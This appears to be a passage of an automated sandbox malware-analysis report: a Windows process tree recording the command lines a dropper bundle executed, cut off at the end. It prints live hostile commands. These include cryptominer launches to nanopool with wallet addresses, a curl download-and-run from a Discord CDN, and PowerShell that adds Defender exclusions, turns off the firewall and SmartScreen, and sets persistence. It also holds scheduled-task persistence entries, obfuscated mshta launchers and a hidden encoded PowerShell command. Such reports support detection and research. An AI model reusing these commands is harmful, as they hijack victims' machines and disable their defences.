C:\Windows/System32\conhost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:14444 --user=41zSmpNwAfHBxUh8HTq7Fsj2TXsGboB8GFeM8ek7xhc8QmL1TJCmoam94f57niQhKqiajN7KMWmAng1cNnMghXPi5bN3xNk.{COMPUTERNAME}/adwadw --pass= --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56GQTOYuXRCBeyb5NYlmdCuiwuvmEFRE3FUoytGa2xDRKVyTGVqBRZ3YvrseaWnYy0OhLuczKVxfo8Wo33kvDh26CIpmy6+bf50YCXxhpkDvay12RqWFwTrEWzJDjMOFSbV4qSudJZDKeejGmt2wAsK4zZ9lj0F0NMeagNs9oiluuddfhHuwfN3JDOsm7vnmpSFDvtwzZIXsZWyWN624JxJsSIqBQxfKrcCnHvRx/k2yLSlvxLvum+3cwztr7Zb0wO7EEWrafJMkNolCTGr1RQK9klv+u1q+LOMUOW+Y1mA+ZjeC+aSi9qmt59ZMlAX42foDzL1w8qyVjl6rfhEF/2bTP0YCyKockkTlSVngGY/1F1T5EOo9DhmrxyNy9y8mJqRKYUIcpgNI5Y4F/BBh3W0pw0+6w6pKB/o2s/ADQ0m7f1mIWwiXrj/GHg6M2kw4tg4mnBGVnha642JDqV8iaYphm4FpsNVwyEeLSXd18Mjr+kd9fvE08ohpB15bbg+6JPSeWISk8CHiep3TzEvyvZ+5XcHZVh1iXXZwlYO+wW5wxnobnzBzuj6f/BZ2txWK+7m4Cgd8mjMym7jJ/vKH1WIDSz05jpx4+wkdqzn3YIdvl2S8Luc4rG0CJXqJOdwbYOBrAey4VzJk8E8cY9tmMr5hpjLcfmu59CVDYVbbFFkb9usjHhXda167RDDOeCiLgdiepY0+9J4GWfDFBWRnvZEIn9njCW10s1hFXvQH+unnKdsaoBPNxSaPInK8O97Hj64jPqNG5qPd3DSjbVR1Cvuh9P29ZftnsNS50GnGtYvaNRBa6443D9MamN7WKSEjXwi5X466GHpLm7tClAm3T8zHW8BSKHq3yutkuduzGC2BYW5rxa17LYp4CzfKufpZJNPcoGIEVeut/xrvPPi+IYNCKrJPaDMN2ZJkpVGMqbuc5AF89xn8L6Lg1pYhaW8QjVZfQAkz7FVC8K667Gg6noLQpAyfd6lW36v4zbzg+fy82rNQmYSI3WMfiYNmvJM8DVc0772kBqEwUisr6ktdw4QlqXJe45Hvgu4yC2Rb6/ntnmOTLJz66c2h/wdUSvS18C67j6jsTvSh7k7avmCdG4sgS/BcyNsYOGIVjgNICoikSjNVrnFxCscaJerBnNPv197mrO4+rRF20+jzVnXKaNAmzbmoa4UjU13WSWasSDIT/lwH5kWp3uPfR1kinOL+sIQ==" --cinit-idle-wait=5 --cinit-idle-cpu=80 --cinit-stealth
12⤵
PID:1684

C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
7⤵
- Executes dropped EXE
PID:3360

C:\Users\Admin\Documents\mgfyPxuijLVmg2jTQKJniCOX.exe
"C:\Users\Admin\Documents\mgfyPxuijLVmg2jTQKJniCOX.exe"
6⤵
- Executes dropped EXE
PID:3084

C:\Windows\SysWOW64\cmd.exe
"cmd" /C c: && cd %tmp% && curl -O https://cdn.discordapp.com/attachments/864075800058789891/892369397816111135/Windows_Host.exe && start "" Windows_Host.exe
7⤵
PID:1184

C:\Users\Admin\Documents\VIsEzBINWOkQusUaMIVqEZCA.exe
"C:\Users\Admin\Documents\VIsEzBINWOkQusUaMIVqEZCA.exe"
6⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:3168

C:\Program Files (x86)\Company\NewProduct\cm3.exe
"C:\Program Files (x86)\Company\NewProduct\cm3.exe"
7⤵
- Executes dropped EXE
PID:3408

C:\Program Files (x86)\Company\NewProduct\inst002.exe
"C:\Program Files (x86)\Company\NewProduct\inst002.exe"
7⤵
PID:3432

C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe
"C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"
7⤵
PID:3440

C:\Users\Admin\Documents\XFOJ4G6M9YcVU0j1xMxLU73N.exe
"C:\Users\Admin\Documents\XFOJ4G6M9YcVU0j1xMxLU73N.exe"
6⤵
- Executes dropped EXE
PID:3156

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
7⤵
PID:1856

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
8⤵
PID:4568

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
9⤵
- Delays execution with timeout.exe
PID:4652

C:\Users\Admin\Documents\QCDO1nQ3n9ci74CbSZ4UZWAd.exe
"C:\Users\Admin\Documents\QCDO1nQ3n9ci74CbSZ4UZWAd.exe"
6⤵
- Executes dropped EXE
PID:3236

C:\Users\Admin\Documents\QCDO1nQ3n9ci74CbSZ4UZWAd.exe
"C:\Users\Admin\Documents\QCDO1nQ3n9ci74CbSZ4UZWAd.exe"
7⤵
PID:3420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3420 -s 852
8⤵
- Program crash
PID:4348

C:\Users\Admin\Documents\5EYbtzlwzTMukAGGRcc0WoVn.exe
"C:\Users\Admin\Documents\5EYbtzlwzTMukAGGRcc0WoVn.exe"
6⤵
PID:3256

C:\Users\Admin\Documents\yrGe4e7Fa5ukpmZUlzj4v7GF.exe
"C:\Users\Admin\Documents\yrGe4e7Fa5ukpmZUlzj4v7GF.exe"
6⤵
- Executes dropped EXE
PID:3140

C:\Users\Admin\Documents\yrGe4e7Fa5ukpmZUlzj4v7GF.exe
"C:\Users\Admin\Documents\yrGe4e7Fa5ukpmZUlzj4v7GF.exe"
7⤵
PID:2984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3140 -s 748
7⤵
- Program crash
PID:2696

C:\Users\Admin\Documents\vjeVI9pInyKAtJVfEMl8YVNv.exe
"C:\Users\Admin\Documents\vjeVI9pInyKAtJVfEMl8YVNv.exe"
6⤵
- Executes dropped EXE
PID:2860

C:\Users\Admin\AppData\Local\Temp\filename.exe
"C:\Users\Admin\AppData\Local\Temp\filename.exe"
7⤵
PID:4840

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
8⤵
PID:4952

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
9⤵
PID:1856

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4840 -s 1672
8⤵
- Program crash
PID:4372

C:\Users\Admin\Documents\XwGXE2491jjk_Iy_PwMF97A1.exe
"C:\Users\Admin\Documents\XwGXE2491jjk_Iy_PwMF97A1.exe"
6⤵
- Executes dropped EXE
PID:2700

C:\Users\Admin\Documents\jEoNaYfUgZwBRXuiHlzTa4f_.exe
"C:\Users\Admin\Documents\jEoNaYfUgZwBRXuiHlzTa4f_.exe"
6⤵
- Executes dropped EXE
PID:2920

C:\Users\Admin\Documents\ggyIaO6oWQcXbR207RWl6PC5.exe
"C:\Users\Admin\Documents\ggyIaO6oWQcXbR207RWl6PC5.exe"
6⤵
- Executes dropped EXE
PID:3052

C:\Users\Admin\Documents\qYz021rIVmG9Loq4PfdWgpaE.exe
"C:\Users\Admin\Documents\qYz021rIVmG9Loq4PfdWgpaE.exe"
6⤵
- Executes dropped EXE
PID:1052

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri10b0a06a73706.exe
4⤵
- Loads dropped DLL
PID:2028

C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri10b0a06a73706.exe
Fri10b0a06a73706.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1860

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1015b9a4e0b.exe
4⤵
- Loads dropped DLL
PID:688

C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri1015b9a4e0b.exe
Fri1015b9a4e0b.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1648

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri106e757f6d75.exe
4⤵
- Loads dropped DLL
PID:812

C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri106e757f6d75.exe
Fri106e757f6d75.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:1292

C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri106e757f6d75.exe
C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri106e757f6d75.exe
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2336

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1008c7d6874.exe
4⤵
- Loads dropped DLL
PID:596

C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri1008c7d6874.exe
Fri1008c7d6874.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1732

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri103a7805577.exe
4⤵
- Loads dropped DLL
PID:1476

C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri103a7805577.exe
Fri103a7805577.exe
5⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:1200

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
6⤵
PID:1596

C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
7⤵
- Executes dropped EXE
PID:2464

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
8⤵
PID:3152

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
9⤵
- Creates scheduled task(s)
PID:3720

C:\Users\Admin\AppData\Roaming\services64.exe
"C:\Users\Admin\AppData\Roaming\services64.exe"
8⤵
PID:4720

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
9⤵
PID:4448

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
10⤵
- Creates scheduled task(s)
PID:1856

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
9⤵
PID:4100

C:\Windows\explorer.exe
C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
9⤵
PID:2740

C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2388

C:\Users\Admin\AppData\Local\Temp\inst001.exe
"C:\Users\Admin\AppData\Local\Temp\inst001.exe"
7⤵
- Executes dropped EXE
PID:2408

C:\Users\Admin\AppData\Local\Temp\Firstoffer.exe
"C:\Users\Admin\AppData\Local\Temp\Firstoffer.exe"
7⤵
- Executes dropped EXE
PID:2608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2608 -s 916
8⤵
- Program crash
PID:4624

C:\Users\Admin\AppData\Local\Temp\ShadowVPNInstaller_t3.exe
"C:\Users\Admin\AppData\Local\Temp\ShadowVPNInstaller_t3.exe"
7⤵
PID:2716

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
7⤵
- Executes dropped EXE
PID:1488

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:2992

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "setup.exe" /f
9⤵
- Kills process with taskkill
PID:2804

C:\Users\Admin\AppData\Local\Temp\6.exe
"C:\Users\Admin\AppData\Local\Temp\6.exe"
7⤵
PID:2896

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
8⤵
PID:3844

C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe
"C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe"
7⤵
- Executes dropped EXE
PID:2084

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScriPt: CLOSe ( CreatEOBjECt ("WScRIpt.sHell" ). rUn ( "CmD.Exe /Q /C COpy /Y ""C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe"" ..\4MCYlgNAW.eXE && StArT ..\4MCYlGNAW.EXE /pni3MGzH3fZ3zm0HbFMiEo11u& IF """" =="""" for %z iN (""C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe"") do taskkill -f /Im ""%~nXz"" " , 0 , tRue ))
8⤵
PID:3048

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C COpy /Y "C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe" ..\4MCYlgNAW.eXE && StArT ..\4MCYlGNAW.EXE /pni3MGzH3fZ3zm0HbFMiEo11u& IF "" =="" for %z iN ("C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe") do taskkill -f /Im "%~nXz"
9⤵
PID:2588

C:\Users\Admin\AppData\Local\Temp\4MCYlgNAW.eXE
..\4MCYlGNAW.EXE /pni3MGzH3fZ3zm0HbFMiEo11u
10⤵
- Executes dropped EXE
PID:2744

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScriPt: CLOSe ( CreatEOBjECt ("WScRIpt.sHell" ). rUn ( "CmD.Exe /Q /C COpy /Y ""C:\Users\Admin\AppData\Local\Temp\4MCYlgNAW.eXE"" ..\4MCYlgNAW.eXE && StArT ..\4MCYlGNAW.EXE /pni3MGzH3fZ3zm0HbFMiEo11u& IF ""/pni3MGzH3fZ3zm0HbFMiEo11u"" =="""" for %z iN (""C:\Users\Admin\AppData\Local\Temp\4MCYlgNAW.eXE"") do taskkill -f /Im ""%~nXz"" " , 0 , tRue ))
11⤵
PID:2888

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C COpy /Y "C:\Users\Admin\AppData\Local\Temp\4MCYlgNAW.eXE" ..\4MCYlgNAW.eXE && StArT ..\4MCYlGNAW.EXE /pni3MGzH3fZ3zm0HbFMiEo11u& IF "/pni3MGzH3fZ3zm0HbFMiEo11u" =="" for %z iN ("C:\Users\Admin\AppData\Local\Temp\4MCYlgNAW.eXE") do taskkill -f /Im "%~nXz"
12⤵
PID:3848

C:\Windows\SysWOW64\taskkill.exe
taskkill -f /Im "sfx_123_206.exe"
10⤵
- Kills process with taskkill
PID:2276

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
7⤵
- Executes dropped EXE
PID:1692

C:\Users\Admin\AppData\Local\Temp\is-JFMNU.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-JFMNU.tmp\setup_2.tmp" /SL5="$301F8,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
8⤵
- Executes dropped EXE
PID:1004

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
9⤵
- Executes dropped EXE
PID:1624

C:\Users\Admin\AppData\Local\Temp\is-LC1OQ.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-LC1OQ.tmp\setup_2.tmp" /SL5="$301A8,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
10⤵
- Executes dropped EXE
PID:2544

C:\Users\Admin\AppData\Local\Temp\is-D3JEU.tmp\postback.exe
"C:\Users\Admin\AppData\Local\Temp\is-D3JEU.tmp\postback.exe" ss1
11⤵
PID:4040

C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
7⤵
- Executes dropped EXE
PID:2260

C:\Users\Admin\AppData\Local\Temp\xiuyingzhang-game.exe
"C:\Users\Admin\AppData\Local\Temp\xiuyingzhang-game.exe"
7⤵
- Executes dropped EXE
PID:2372

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1018ef4aa251c026c.exe
4⤵
- Loads dropped DLL
PID:1788

C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri1018ef4aa251c026c.exe
Fri1018ef4aa251c026c.exe
5⤵
- Executes dropped EXE
PID:1068

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri10d184202996a0d7f.exe
4⤵
- Loads dropped DLL
PID:1384

C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri10d184202996a0d7f.exe
Fri10d184202996a0d7f.exe
5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
PID:456

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri10720d229511df563.exe
4⤵
- Loads dropped DLL
PID:1508

C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri10720d229511df563.exe
Fri10720d229511df563.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:1484

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
6⤵
PID:2524

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2628

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri105268dda3.exe
4⤵
- Loads dropped DLL
PID:1488

C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri105268dda3.exe
Fri105268dda3.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1328

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri10fcc13ae0125c8.exe
4⤵
- Loads dropped DLL
PID:320

C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri10fcc13ae0125c8.exe
Fri10fcc13ae0125c8.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1180

C:\Users\Admin\AppData\Local\Temp\is-4IROA.tmp\Fri10fcc13ae0125c8.tmp
"C:\Users\Admin\AppData\Local\Temp\is-4IROA.tmp\Fri10fcc13ae0125c8.tmp" /SL5="$50132,239846,156160,C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri10fcc13ae0125c8.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1564

C:\Users\Admin\AppData\Local\Temp\is-D5MAP.tmp\Sayma.exe
"C:\Users\Admin\AppData\Local\Temp\is-D5MAP.tmp\Sayma.exe" /S /UID=burnerch2
7⤵
- Drops file in Drivers directory
- Executes dropped EXE
PID:2708

C:\Program Files\Windows Portable Devices\MBUXFKLHRI\ultramediaburner.exe
"C:\Program Files\Windows Portable Devices\MBUXFKLHRI\ultramediaburner.exe" /VERYSILENT
8⤵
PID:3588

C:\Users\Admin\AppData\Local\Temp\is-253G7.tmp\ultramediaburner.tmp
"C:\Users\Admin\AppData\Local\Temp\is-253G7.tmp\ultramediaburner.tmp" /SL5="$501A6,281924,62464,C:\Program Files\Windows Portable Devices\MBUXFKLHRI\ultramediaburner.exe" /VERYSILENT
9⤵
PID:3176

C:\Users\Admin\AppData\Local\Temp\f2-0bebc-2b7-835af-8db5b027fd38c\Gukaefetyno.exe
"C:\Users\Admin\AppData\Local\Temp\f2-0bebc-2b7-835af-8db5b027fd38c\Gukaefetyno.exe"
8⤵
PID:3980

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
9⤵
PID:4296

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4296 CREDAT:275457 /prefetch:2
10⤵
PID:4080

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
9⤵
PID:2872

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2872 CREDAT:275457 /prefetch:2
10⤵
PID:4052

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2872 CREDAT:472079 /prefetch:2
10⤵
PID:1204

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851483
9⤵
PID:1752

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1752 CREDAT:275457 /prefetch:2
10⤵
PID:5904

C:\Users\Admin\AppData\Local\Temp\c6-69da4-1a1-eba84-9558e19306bb2\Jylokolyty.exe
"C:\Users\Admin\AppData\Local\Temp\c6-69da4-1a1-eba84-9558e19306bb2\Jylokolyty.exe"
8⤵
PID:3920

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri10acd1e0a9e6.exe /mixone
4⤵
- Loads dropped DLL
PID:1052

C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri10acd1e0a9e6.exe
Fri10acd1e0a9e6.exe /mixone
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1272

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "Fri10acd1e0a9e6.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri10acd1e0a9e6.exe" & exit
6⤵
PID:2692

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "Fri10acd1e0a9e6.exe" /f
7⤵
- Kills process with taskkill
PID:2992

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2056906691171712038-11768127831399959146-1612120956-1699074307804097514367317897"
1⤵
PID:2524

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-560013383943423979-1482993158-1273728529-621245152-6367755531761755756-1635940869"
1⤵
- Executes dropped EXE
PID:3096

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-329578495254105203-563909917-1268061496652469060149113071915462775611018571066"
1⤵
- Executes dropped EXE
PID:3328

C:\Users\Admin\AppData\Local\Temp\91A4.exe
C:\Users\Admin\AppData\Local\Temp\91A4.exe
1⤵
PID:4772

C:\Users\Admin\AppData\Local\Temp\91A4.exe
C:\Users\Admin\AppData\Local\Temp\91A4.exe
2⤵
PID:4160

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\18ef5d97-87e4-466a-b9ec-5d134838841b" /deny *S-1-1-0:(OI)(CI)(DE,DC)
3⤵
- Modifies file permissions
PID:4712

C:\Users\Admin\AppData\Local\Temp\91A4.exe
"C:\Users\Admin\AppData\Local\Temp\91A4.exe" --Admin IsNotAutoStart IsNotTask
3⤵
PID:1280

C:\Users\Admin\AppData\Local\Temp\91A4.exe
"C:\Users\Admin\AppData\Local\Temp\91A4.exe" --Admin IsNotAutoStart IsNotTask
4⤵
PID:4128

C:\Users\Admin\AppData\Local\e5dda713-720e-4827-9192-fc688a1982dd\build2.exe
"C:\Users\Admin\AppData\Local\e5dda713-720e-4827-9192-fc688a1982dd\build2.exe"
5⤵
PID:4468

C:\Users\Admin\AppData\Local\e5dda713-720e-4827-9192-fc688a1982dd\build2.exe
"C:\Users\Admin\AppData\Local\e5dda713-720e-4827-9192-fc688a1982dd\build2.exe"
6⤵
PID:3068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3068 -s 792
7⤵
- Program crash
PID:4252

C:\Users\Admin\AppData\Local\e5dda713-720e-4827-9192-fc688a1982dd\build3.exe
"C:\Users\Admin\AppData\Local\e5dda713-720e-4827-9192-fc688a1982dd\build3.exe"
5⤵
PID:3264

C:\Users\Admin\AppData\Local\e5dda713-720e-4827-9192-fc688a1982dd\build3.exe
"C:\Users\Admin\AppData\Local\e5dda713-720e-4827-9192-fc688a1982dd\build3.exe"
6⤵
PID:4152

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
7⤵
- Creates scheduled task(s)
PID:3608

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
1⤵
PID:4996

C:\Windows\system32\taskeng.exe
taskeng.exe {84D1FD94-5E5A-42D5-AC72-761897C47920} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
1⤵
PID:2348

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
PID:4600

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
PID:552

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:4376

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
4⤵
- Creates scheduled task(s)
PID:4020

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
PID:3684

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:3524

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
PID:4496

C:\Users\Admin\AppData\Roaming\vrbtctj
